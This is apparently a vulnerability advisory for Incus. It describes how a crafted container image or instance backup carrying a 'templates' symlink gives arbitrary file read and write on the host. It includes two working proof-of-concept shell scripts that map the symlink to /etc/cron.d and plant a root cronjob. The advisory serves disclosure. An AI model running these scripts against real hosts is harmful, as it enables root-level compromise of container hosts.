Incus has arbitrary file read+write on host via templates/ symlink in malicious image
Summary
A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.
For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
PoC
Malicious container image
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.
#!/bin/sh
set -eutmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
read
#incus config template show afrw-image-templates-symlink $FILENAMEwrite
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink pocMalicious instance backup
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.
#!/bin/sh
set -eutmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/backup"
cat<<__EOF__>"${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
__EOF__
mkdir "${tmpdir}/img/backup/container"
cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml"
container:
name: afrw-backup-templates-symlink
architecture: x86_64
type: container
status: Stopped
status_code: 102
stateful: false
ephemeral: false
profiles:
- default
config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
expanded_config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
devices: {}
expanded_devices:
root:
path: /
pool: default
type: disk
created_at: "2024-01-01T00:00:00Z"
last_used_at: "2024-01-01T00:00:00Z"
volume:
name: afrw-backup-templates-symlink
type: container
content_type: filesystem
config: {}
pool:
name: default
driver: dir
config: {}
__EOF__cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: afrw-backup-templates-symlink
__EOF__
mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink
incus config template ls afrw-backup-templates-symlink
read
#incus config template show afrw-backup-templates-symlink $FILENAMEwrite
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
#incus config template edit afrw-templates-symlink pocImpact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.